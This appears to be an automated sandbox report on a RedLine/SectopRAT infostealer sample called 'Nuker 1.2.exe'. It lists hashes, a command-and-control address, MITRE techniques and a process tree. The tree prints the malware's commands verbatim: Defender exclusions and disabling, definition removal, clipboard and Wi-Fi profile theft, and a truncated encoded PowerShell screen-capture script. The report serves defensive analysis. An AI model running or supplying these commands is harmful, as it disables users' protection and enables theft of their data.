redline | 7fd20dd1ce4c8e54f077ef9880dd8794158fc2406d66b7656e239f798eacfeee

Analysis

max time kernel
12s
max time network
19s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09/12/2024, 14:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Nuker 1.2.exe
Size 6.0MB
Sample241209-rwmaeavrhm
SHA256 7fd20dd1ce4c8e54f077ef9880dd8794158fc2406d66b7656e239f798eacfeee
MD5 ea52bb50895e85eba81d29a84318cb62
SHA1 198d852c2baf2304e44da82e4ba74d591cf31776
SHA512 8bbc5061f167f36deea84a909e1df87ac67a53e04195874f6892b73b37a0a79285ed945ae509972721a85c0df1cf5207486978ba870965810d9de8014e87f0f7
SSDEEP 98304:UAmoDUN43W5NjOjFgFEblNHYSxTpirSHcUR43zrwkdA8QJCKC7bN3mb6ag1Rjtj4:UAumWDOjmFwDRxtYSHdK34kdai7bN3mz
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline sectoprat mamut collection credential_access defense_evasion discovery execution infostealer persistence privilege_escalation rat spyware stealer trojan upx

Malware Config

Extracted

Family

redline

Botnet

mamut

185.241.208.73:18430

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023ca5-85.dat	family_redline
behavioral2/memory/3320-88-0x0000000000560000-0x000000000057E000-memory.dmp	family_redline

Redline family
redline
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023ca5-85.dat	family_sectoprat
behavioral2/memory/3320-88-0x0000000000560000-0x000000000057E000-memory.dmp	family_sectoprat

Sectoprat family
sectoprat

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3496	powershell.exe
4040	powershell.exe
4512	powershell.exe
3992	powershell.exe
3616	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2448	cmd.exe
4764	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3320	bound.exe
4884	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe
2248	Nuker 1.2.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
3540	tasklist.exe
3544	tasklist.exe
4580	tasklist.exe

UPX packed file 59 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023c95-22.dat	upx
behavioral2/memory/2248-26-0x00007FF8BE9F0000-0x00007FF8BEE56000-memory.dmp	upx
behavioral2/memory/2248-50-0x00007FF8D75E0000-0x00007FF8D75EF000-memory.dmp	upx
behavioral2/files/0x0007000000023c8e-49.dat	upx
behavioral2/files/0x0007000000023c8d-48.dat	upx
behavioral2/files/0x0007000000023c8c-47.dat	upx
behavioral2/files/0x0007000000023c8b-46.dat	upx
behavioral2/files/0x0007000000023c8a-45.dat	upx
behavioral2/files/0x0007000000023c89-44.dat	upx
behavioral2/files/0x0007000000023c88-43.dat	upx
behavioral2/files/0x0007000000023c86-42.dat	upx
behavioral2/files/0x0007000000023c9a-41.dat	upx
behavioral2/files/0x0007000000023c99-40.dat	upx
behavioral2/files/0x0007000000023c98-39.dat	upx
behavioral2/files/0x0007000000023c94-36.dat	upx
behavioral2/files/0x0007000000023c92-35.dat	upx
behavioral2/files/0x0007000000023c93-32.dat	upx
behavioral2/memory/2248-31-0x00007FF8CFC10000-0x00007FF8CFC34000-memory.dmp	upx
behavioral2/files/0x0007000000023c87-29.dat	upx
behavioral2/memory/2248-56-0x00007FF8CF5E0000-0x00007FF8CF60C000-memory.dmp	upx
behavioral2/memory/2248-58-0x00007FF8D52B0000-0x00007FF8D52C8000-memory.dmp	upx
behavioral2/memory/2248-60-0x00007FF8D4BB0000-0x00007FF8D4BCF000-memory.dmp	upx
behavioral2/memory/2248-62-0x00007FF8CDCD0000-0x00007FF8CDE4A000-memory.dmp	upx
behavioral2/memory/2248-64-0x00007FF8CF2D0000-0x00007FF8CF2E9000-memory.dmp	upx
behavioral2/memory/2248-74-0x00007FF8BE670000-0x00007FF8BE9E9000-memory.dmp	upx
behavioral2/memory/2248-75-0x00007FF8BE9F0000-0x00007FF8BEE56000-memory.dmp	upx
behavioral2/memory/2248-73-0x00007FF8CF2A0000-0x00007FF8CF2CE000-memory.dmp	upx
behavioral2/memory/2248-71-0x00007FF8C9300000-0x00007FF8C93B8000-memory.dmp	upx
behavioral2/memory/2248-70-0x00007FF8D5A80000-0x00007FF8D5A8D000-memory.dmp	upx
behavioral2/memory/2248-80-0x00007FF8CEF30000-0x00007FF8CEF3D000-memory.dmp	upx
behavioral2/memory/2248-83-0x00007FF8BDF60000-0x00007FF8BE078000-memory.dmp	upx
behavioral2/memory/2248-79-0x00007FF8CFC10000-0x00007FF8CFC34000-memory.dmp	upx
behavioral2/memory/2248-78-0x00007FF8CE290000-0x00007FF8CE2A5000-memory.dmp	upx
behavioral2/memory/2248-177-0x00007FF8D52B0000-0x00007FF8D52C8000-memory.dmp	upx
behavioral2/memory/2248-191-0x00007FF8D4BB0000-0x00007FF8D4BCF000-memory.dmp	upx
behavioral2/memory/2248-221-0x00007FF8CDCD0000-0x00007FF8CDE4A000-memory.dmp	upx
behavioral2/memory/2248-277-0x00007FF8CF2D0000-0x00007FF8CF2E9000-memory.dmp	upx
behavioral2/memory/2248-282-0x00007FF8C9300000-0x00007FF8C93B8000-memory.dmp	upx
behavioral2/memory/2248-294-0x00007FF8CF2A0000-0x00007FF8CF2CE000-memory.dmp	upx
behavioral2/memory/2248-296-0x00007FF8BE670000-0x00007FF8BE9E9000-memory.dmp	upx
behavioral2/memory/2248-297-0x00007FF8BE9F0000-0x00007FF8BEE56000-memory.dmp	upx
behavioral2/memory/2248-303-0x00007FF8CDCD0000-0x00007FF8CDE4A000-memory.dmp	upx
behavioral2/memory/2248-302-0x00007FF8D4BB0000-0x00007FF8D4BCF000-memory.dmp	upx
behavioral2/memory/2248-298-0x00007FF8CFC10000-0x00007FF8CFC34000-memory.dmp	upx
behavioral2/memory/2248-332-0x00007FF8BE9F0000-0x00007FF8BEE56000-memory.dmp	upx
behavioral2/memory/2248-349-0x00007FF8D75E0000-0x00007FF8D75EF000-memory.dmp	upx
behavioral2/memory/2248-359-0x00007FF8CE290000-0x00007FF8CE2A5000-memory.dmp	upx
behavioral2/memory/2248-358-0x00007FF8CF5E0000-0x00007FF8CF60C000-memory.dmp	upx
behavioral2/memory/2248-357-0x00007FF8CEF30000-0x00007FF8CEF3D000-memory.dmp	upx
behavioral2/memory/2248-356-0x00007FF8C9300000-0x00007FF8C93B8000-memory.dmp	upx
behavioral2/memory/2248-355-0x00007FF8D5A80000-0x00007FF8D5A8D000-memory.dmp	upx
behavioral2/memory/2248-354-0x00007FF8CF2D0000-0x00007FF8CF2E9000-memory.dmp	upx
behavioral2/memory/2248-353-0x00007FF8CDCD0000-0x00007FF8CDE4A000-memory.dmp	upx
behavioral2/memory/2248-352-0x00007FF8D4BB0000-0x00007FF8D4BCF000-memory.dmp	upx
behavioral2/memory/2248-351-0x00007FF8D52B0000-0x00007FF8D52C8000-memory.dmp	upx
behavioral2/memory/2248-350-0x00007FF8BE670000-0x00007FF8BE9E9000-memory.dmp	upx
behavioral2/memory/2248-348-0x00007FF8CFC10000-0x00007FF8CFC34000-memory.dmp	upx
behavioral2/memory/2248-347-0x00007FF8CF2A0000-0x00007FF8CF2CE000-memory.dmp	upx
behavioral2/memory/2248-346-0x00007FF8BDF60000-0x00007FF8BE078000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bound.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3316	netsh.exe
1620	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1396	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4328	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
4040	powershell.exe
4040	powershell.exe
3496	powershell.exe
3496	powershell.exe
4040	powershell.exe
4040	powershell.exe
4512	powershell.exe
4512	powershell.exe
4764	powershell.exe
4764	powershell.exe
3156	powershell.exe
3156	powershell.exe
3496	powershell.exe
3496	powershell.exe
4512	powershell.exe
4764	powershell.exe
3156	powershell.exe
3992	powershell.exe
3992	powershell.exe
2640	powershell.exe
2640	powershell.exe
3616	powershell.exe
3616	powershell.exe
4856	powershell.exe
4856	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3540	tasklist.exe
Token: SeDebugPrivilege	3544	tasklist.exe
Token: SeDebugPrivilege	4040	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeIncreaseQuotaPrivilege	3624	WMIC.exe
Token: SeSecurityPrivilege	3624	WMIC.exe
Token: SeTakeOwnershipPrivilege	3624	WMIC.exe
Token: SeLoadDriverPrivilege	3624	WMIC.exe
Token: SeSystemProfilePrivilege	3624	WMIC.exe
Token: SeSystemtimePrivilege	3624	WMIC.exe
Token: SeProfSingleProcessPrivilege	3624	WMIC.exe
Token: SeIncBasePriorityPrivilege	3624	WMIC.exe
Token: SeCreatePagefilePrivilege	3624	WMIC.exe
Token: SeBackupPrivilege	3624	WMIC.exe
Token: SeRestorePrivilege	3624	WMIC.exe
Token: SeShutdownPrivilege	3624	WMIC.exe
Token: SeDebugPrivilege	3624	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3624	WMIC.exe
Token: SeRemoteShutdownPrivilege	3624	WMIC.exe
Token: SeUndockPrivilege	3624	WMIC.exe
Token: SeManageVolumePrivilege	3624	WMIC.exe
Token: 33	3624	WMIC.exe
Token: 34	3624	WMIC.exe
Token: 35	3624	WMIC.exe
Token: 36	3624	WMIC.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	4580	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3624	WMIC.exe
Token: SeSecurityPrivilege	3624	WMIC.exe
Token: SeTakeOwnershipPrivilege	3624	WMIC.exe
Token: SeLoadDriverPrivilege	3624	WMIC.exe
Token: SeSystemProfilePrivilege	3624	WMIC.exe
Token: SeSystemtimePrivilege	3624	WMIC.exe
Token: SeProfSingleProcessPrivilege	3624	WMIC.exe
Token: SeIncBasePriorityPrivilege	3624	WMIC.exe
Token: SeCreatePagefilePrivilege	3624	WMIC.exe
Token: SeBackupPrivilege	3624	WMIC.exe
Token: SeRestorePrivilege	3624	WMIC.exe
Token: SeShutdownPrivilege	3624	WMIC.exe
Token: SeDebugPrivilege	3624	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3624	WMIC.exe
Token: SeRemoteShutdownPrivilege	3624	WMIC.exe
Token: SeUndockPrivilege	3624	WMIC.exe
Token: SeManageVolumePrivilege	3624	WMIC.exe
Token: 33	3624	WMIC.exe
Token: 34	3624	WMIC.exe
Token: 35	3624	WMIC.exe
Token: 36	3624	WMIC.exe
Token: SeDebugPrivilege	3156	powershell.exe
Token: SeDebugPrivilege	3320	bound.exe
Token: SeDebugPrivilege	3992	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeIncreaseQuotaPrivilege	4780	WMIC.exe
Token: SeSecurityPrivilege	4780	WMIC.exe
Token: SeTakeOwnershipPrivilege	4780	WMIC.exe
Token: SeLoadDriverPrivilege	4780	WMIC.exe
Token: SeSystemProfilePrivilege	4780	WMIC.exe
Token: SeSystemtimePrivilege	4780	WMIC.exe
Token: SeProfSingleProcessPrivilege	4780	WMIC.exe
Token: SeIncBasePriorityPrivilege	4780	WMIC.exe
Token: SeCreatePagefilePrivilege	4780	WMIC.exe
Token: SeBackupPrivilege	4780	WMIC.exe
Token: SeRestorePrivilege	4780	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 2248	4592	Nuker 1.2.exe	86
PID 4592 wrote to memory of 2248	4592	Nuker 1.2.exe	86
PID 2248 wrote to memory of 408	2248	Nuker 1.2.exe	87
PID 2248 wrote to memory of 408	2248	Nuker 1.2.exe	87
PID 2248 wrote to memory of 1648	2248	Nuker 1.2.exe	88
PID 2248 wrote to memory of 1648	2248	Nuker 1.2.exe	88
PID 2248 wrote to memory of 4272	2248	Nuker 1.2.exe	90
PID 2248 wrote to memory of 4272	2248	Nuker 1.2.exe	90
PID 2248 wrote to memory of 2108	2248	Nuker 1.2.exe	92
PID 2248 wrote to memory of 2108	2248	Nuker 1.2.exe	92
PID 2248 wrote to memory of 4956	2248	Nuker 1.2.exe	96
PID 2248 wrote to memory of 4956	2248	Nuker 1.2.exe	96
PID 2248 wrote to memory of 3120	2248	Nuker 1.2.exe	95
PID 2248 wrote to memory of 3120	2248	Nuker 1.2.exe	95
PID 4272 wrote to memory of 3496	4272	cmd.exe	100
PID 4272 wrote to memory of 3496	4272	cmd.exe	100
PID 3120 wrote to memory of 3540	3120	cmd.exe	99
PID 3120 wrote to memory of 3540	3120	cmd.exe	99
PID 2108 wrote to memory of 3320	2108	cmd.exe	101
PID 2108 wrote to memory of 3320	2108	cmd.exe	101
PID 2108 wrote to memory of 3320	2108	cmd.exe	101
PID 4956 wrote to memory of 3544	4956	cmd.exe	102
PID 4956 wrote to memory of 3544	4956	cmd.exe	102
PID 408 wrote to memory of 4040	408	cmd.exe	144
PID 408 wrote to memory of 4040	408	cmd.exe	144
PID 1648 wrote to memory of 4512	1648	cmd.exe	105
PID 1648 wrote to memory of 4512	1648	cmd.exe	105
PID 2248 wrote to memory of 3868	2248	Nuker 1.2.exe	107
PID 2248 wrote to memory of 3868	2248	Nuker 1.2.exe	107
PID 2248 wrote to memory of 2448	2248	Nuker 1.2.exe	109
PID 2248 wrote to memory of 2448	2248	Nuker 1.2.exe	109
PID 2248 wrote to memory of 1004	2248	Nuker 1.2.exe	110
PID 2248 wrote to memory of 1004	2248	Nuker 1.2.exe	110
PID 2248 wrote to memory of 1620	2248	Nuker 1.2.exe	113
PID 2248 wrote to memory of 1620	2248	Nuker 1.2.exe	113
PID 2248 wrote to memory of 3872	2248	Nuker 1.2.exe	114
PID 2248 wrote to memory of 3872	2248	Nuker 1.2.exe	114
PID 2248 wrote to memory of 1580	2248	Nuker 1.2.exe	112
PID 2248 wrote to memory of 1580	2248	Nuker 1.2.exe	112
PID 2248 wrote to memory of 3632	2248	Nuker 1.2.exe	117
PID 2248 wrote to memory of 3632	2248	Nuker 1.2.exe	117
PID 2448 wrote to memory of 4764	2448	cmd.exe	121
PID 2448 wrote to memory of 4764	2448	cmd.exe	121
PID 3868 wrote to memory of 3624	3868	cmd.exe	122
PID 3868 wrote to memory of 3624	3868	cmd.exe	122
PID 1620 wrote to memory of 3316	1620	cmd.exe	146
PID 1620 wrote to memory of 3316	1620	cmd.exe	146
PID 1004 wrote to memory of 4580	1004	cmd.exe	124
PID 1004 wrote to memory of 4580	1004	cmd.exe	124
PID 3872 wrote to memory of 4328	3872	cmd.exe	125
PID 3872 wrote to memory of 4328	3872	cmd.exe	125
PID 3632 wrote to memory of 3156	3632	cmd.exe	126
PID 3632 wrote to memory of 3156	3632	cmd.exe	126
PID 1580 wrote to memory of 4044	1580	cmd.exe	127
PID 1580 wrote to memory of 4044	1580	cmd.exe	127
PID 2248 wrote to memory of 2752	2248	Nuker 1.2.exe	128
PID 2248 wrote to memory of 2752	2248	Nuker 1.2.exe	128
PID 2752 wrote to memory of 2044	2752	cmd.exe	179
PID 2752 wrote to memory of 2044	2752	cmd.exe	179
PID 2248 wrote to memory of 1780	2248	Nuker 1.2.exe	131
PID 2248 wrote to memory of 1780	2248	Nuker 1.2.exe	131
PID 3156 wrote to memory of 2596	3156	powershell.exe	133
PID 3156 wrote to memory of 2596	3156	powershell.exe	133
PID 1780 wrote to memory of 1932	1780	cmd.exe	134

C:\Users\Admin\AppData\Local\Temp\Nuker 1.2.exe
"C:\Users\Admin\AppData\Local\Temp\Nuker 1.2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Users\Admin\AppData\Local\Temp\Nuker 1.2.exe
  "C:\Users\Admin\AppData\Local\Temp\Nuker 1.2.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nuker 1.2.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nuker 1.2.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2108
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3120
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3868
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:2448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1004
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1580
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3872
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAH